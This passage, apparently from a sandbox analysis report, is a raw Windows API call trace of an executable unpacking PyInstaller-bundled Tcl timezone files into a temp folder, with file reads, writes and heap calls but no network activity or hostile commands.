lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.713] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.713] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.714] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.714] CloseHandle (hObject=0x10c) returned 1 [0043.714] GetLastError () returned 0x0 [0043.714] SetLastError (dwErrCode=0x0) [0043.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.714] GetFileType (hFile=0x10c) returned 0x1 [0043.714] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.714] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.714] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.714] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.714] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.714] CloseHandle (hObject=0x10c) returned 1 [0043.714] GetLastError () returned 0x0 [0043.714] SetLastError (dwErrCode=0x0) [0043.714] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Mountain") returned 68 [0043.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Mountain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\mountain"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.714] GetLastError () returned 0x2 [0043.714] SetLastError (dwErrCode=0x2) [0043.715] GetLastError () returned 0x2 [0043.715] SetLastError (dwErrCode=0x2) [0043.715] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Mountain", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Mountain", lpFilePart=0x0) returned 0x43 [0043.715] GetLastError () returned 0x2 [0043.715] SetLastError (dwErrCode=0x2) [0043.715] GetLastError () returned 0x2 [0043.715] SetLastError (dwErrCode=0x2) [0043.715] GetLastError () returned 0x2 [0043.715] SetLastError (dwErrCode=0x2) [0043.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Mountain") returned 68 [0043.715] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.715] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Mountain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\mountain"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.715] GetFileType (hFile=0x10c) returned 0x1 [0043.715] htonl (hostlong=0xb1000000) returned 0xb1 [0043.715] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.715] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb1, lpOverlapped=0x0) returned 1 [0043.767] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.767] CloseHandle (hObject=0x10c) returned 1 [0043.767] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560a70 | out: hHeap=0x530000) returned 1 [0043.767] htonl (hostlong=0x30000000) returned 0x30 [0043.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.768] GetFileType (hFile=0x10c) returned 0x1 [0043.768] htonl (hostlong=0xad385d00) returned 0x5d38ad [0043.768] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e8ad, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.768] htonl (hostlong=0x8f000000) returned 0x8f [0043.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0043.768] htonl (hostlong=0x8f000000) returned 0x8f [0043.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.768] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.768] htonl (hostlong=0xbf000000) returned 0xbf [0043.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbf) returned 0x55de50 [0043.768] htonl (hostlong=0x8f000000) returned 0x8f [0043.768] htonl (hostlong=0xbf000000) returned 0xbf [0043.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.768] CloseHandle (hObject=0x10c) returned 1 [0043.768] GetLastError () returned 0x0 [0043.768] SetLastError (dwErrCode=0x0) [0043.768] GetLastError () returned 0x0 [0043.768] SetLastError (dwErrCode=0x0) [0043.768] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.768] GetFileType (hFile=0x10c) returned 0x1 [0043.768] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.768] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.769] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.769] CloseHandle (hObject=0x10c) returned 1 [0043.769] GetLastError () returned 0x0 [0043.769] SetLastError (dwErrCode=0x0) [0043.769] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.769] GetFileType (hFile=0x10c) returned 0x1 [0043.769] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.769] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.769] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.769] CloseHandle (hObject=0x10c) returned 1 [0043.769] GetLastError () returned 0x0 [0043.770] SetLastError (dwErrCode=0x0) [0043.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.770] GetFileType (hFile=0x10c) returned 0x1 [0043.770] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.770] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.770] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.770] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.770] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.770] CloseHandle (hObject=0x10c) returned 1 [0043.770] GetLastError () returned 0x0 [0043.770] SetLastError (dwErrCode=0x0) [0043.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific") returned 67 [0043.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.770] GetLastError () returned 0x2 [0043.770] SetLastError (dwErrCode=0x2) [0043.770] GetLastError () returned 0x2 [0043.770] SetLastError (dwErrCode=0x2) [0043.770] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific", lpFilePart=0x0) returned 0x42 [0043.770] GetLastError () returned 0x2 [0043.770] SetLastError (dwErrCode=0x2) [0043.770] GetLastError () returned 0x2 [0043.771] SetLastError (dwErrCode=0x2) [0043.771] GetLastError () returned 0x2 [0043.771] SetLastError (dwErrCode=0x2) [0043.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific") returned 67 [0043.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\pacific"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.771] GetFileType (hFile=0x10c) returned 0x1 [0043.772] htonl (hostlong=0xbf000000) returned 0xbf [0043.772] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.772] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbf, lpOverlapped=0x0) returned 1 [0043.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.773] CloseHandle (hObject=0x10c) returned 1 [0043.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55de50 | out: hHeap=0x530000) returned 1 [0043.773] htonl (hostlong=0x30000000) returned 0x30 [0043.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.773] GetFileType (hFile=0x10c) returned 0x1 [0043.773] htonl (hostlong=0x3c395d00) returned 0x5d393c [0043.773] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e93c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.773] htonl (hostlong=0x92000000) returned 0x92 [0043.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0043.773] htonl (hostlong=0x92000000) returned 0x92 [0043.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.773] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.773] htonl (hostlong=0xc3000000) returned 0xc3 [0043.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc3) returned 0x550600 [0043.773] htonl (hostlong=0x92000000) returned 0x92 [0043.773] htonl (hostlong=0xc3000000) returned 0xc3 [0043.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.773] CloseHandle (hObject=0x10c) returned 1 [0043.774] GetLastError () returned 0x0 [0043.774] SetLastError (dwErrCode=0x0) [0043.774] GetLastError () returned 0x0 [0043.774] SetLastError (dwErrCode=0x0) [0043.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.774] GetFileType (hFile=0x10c) returned 0x1 [0043.774] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.774] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.774] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.774] CloseHandle (hObject=0x10c) returned 1 [0043.774] GetLastError () returned 0x0 [0043.774] SetLastError (dwErrCode=0x0) [0043.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.774] GetFileType (hFile=0x10c) returned 0x1 [0043.774] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.774] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.774] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.774] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.775] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.775] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.775] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.775] CloseHandle (hObject=0x10c) returned 1 [0043.775] GetLastError () returned 0x0 [0043.775] SetLastError (dwErrCode=0x0) [0043.775] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: 